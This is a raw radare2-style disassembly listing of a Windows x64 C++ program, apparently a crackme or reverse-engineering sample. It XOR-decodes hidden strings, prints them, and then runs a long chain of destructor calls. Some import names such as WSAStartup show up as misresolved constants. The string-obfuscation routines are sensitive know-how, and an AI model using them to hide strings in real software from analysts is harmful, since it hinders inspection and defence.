call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
movups xmm0, xmmword [0x14007c290]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x14007c2a0]
mov dword [rsp + 0x50], eax
movzx eax, word [0x14007c2a4]
mov word [rsp + 0x54], ax
cmp byte [0x14007c2a5], 0
je 0x14002266e
cmp edi, 2
jl 0x14002262a
movdqa xmm5, xmmword [0x14007ec60]
movdqa xmm4, xmmword [0x14007ecb0]
movdqa xmm6, xmmword [0x14007ec80]
movdqa xmm0, xmmword [str.6666666666666666_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007ec90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007ec90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x10
jl 0x140022520
cmp eax, 0x16
jge 0x14002266e
movsxd rax, ebx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, bl
sub al, dl
add al, 0x36
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x16
jl 0x140022640
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a60
lea rdx, [0x14001c690]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x1788]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x15e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x17a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1608]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x17c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1628]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x17e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1648]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1808]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1668]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1828]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1688]
call fcn.14000a7f0
nop
lea rcx, [rbp - 0x78]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x16a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x16c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x16e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1708]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1728]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1748]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1768]
call fcn.14000a7f0
nop
lea rcx, [rbp - 0x38]
call fcn.14000a7f0
nop
lea rcx, [rbp - 0x18]
call fcn.14000a7f0
nop
lea rcx, [rbp + 8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x28]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x48]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x68]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x88]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xc8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xe8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x108]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x128]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x148]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x168]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x188]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x208]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x228]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x248]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x268]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x288]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x2a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x2c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x2e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x308]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x328]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x348]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x368]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x388]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x3a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x3c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x3e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x408]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x428]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x448]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x468]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x488]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x4a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x4c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x4e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x508]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x528]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x548]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x588]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x5a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x5c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x5e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x608]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x628]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x648]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x668]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x688]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x6a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x6c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x6e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x708]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x728]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x748]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x768]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x788]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x7a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x7c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x7e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x808]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x828]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x848]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x868]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x888]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x8a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x8c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x8e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x908]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x928]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x948]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x968]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x988]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x9a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x9c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x9e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xa08]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xa28]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xa48]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xa68]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xa88]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xaa8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xac8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xae8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xb08]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xb28]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xb48]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xb68]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xb88]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xba8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xbc8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xbe8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xc08]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xc28]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xc48]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xc68]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xc88]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xca8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xcc8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xce8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xd08]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xd28]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xd48]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xd68]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xd88]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xda8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xdc8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xde8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xe08]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xe28]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xe48]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xe68]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xe88]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xea8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xec8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xee8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xf08]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xf28]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xf48]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xf68]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xf88]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xfa8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xfc8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xfe8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1008]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1028]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1048]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1068]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1088]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x10a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x10c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x10e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1108]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1128]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1148]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1168]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1188]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x11a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x11c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x11e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1208]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1228]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1248]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1268]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1288]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x12a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x12c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x12e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1308]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1328]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1348]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1368]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1388]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x13a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x13c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x13e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1408]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1428]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1448]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1468]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1488]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x14a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x14c8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x14e8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1508]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1528]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1548]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1568]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x1588]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x15a8]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0x15c8]
call fcn.14000a7f0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14002318d
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400230b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400230b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140076da0
jmp 0x14002318d
call fcn.140019700
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x14002318d
xor edx, edx
mov cl, 8
call fcn.14001a420
mov byte [rsp + 0x30], al
mov edx, 1
mov cl, 0x45
call fcn.14001a420
mov byte [rsp + 0x31], al
mov edx, 2
mov cl, WSAStartup
call fcn.14001a420
mov byte [rsp + 0x32], al
mov edx, 3
mov cl, WSAStartup
call fcn.14001a420
mov byte [rsp + 0x33], al
mov edx, 4
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.14001a420
mov byte [rsp + 0x34], al
mov edx, 5
mov cl, WSAStartup
call fcn.14001a420
mov byte [rsp + 0x35], al
mov edx, 6
mov cl, reloc.WLDAP32.dll_Ordinal_33
call fcn.14001a420
mov byte [rsp + 0x36], al
xor eax, eax
mov byte [rsp + 0x37], al
nop word [rax + rax]
movsxd rax, ebx
lea rdx, [rsp + 0x30]
add rdx, rax
lea eax, [rbx + 0x13]
xor byte [rdx], al
inc ebx
cmp ebx, 7
jb 0x140023150
mov byte [rsp + 0x37], 0
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a60
lea rdx, [0x14001c690]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x1980]
xor rcx, rsp
call fcn.140076ec0
lea r11, [rsp + 0x1aa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret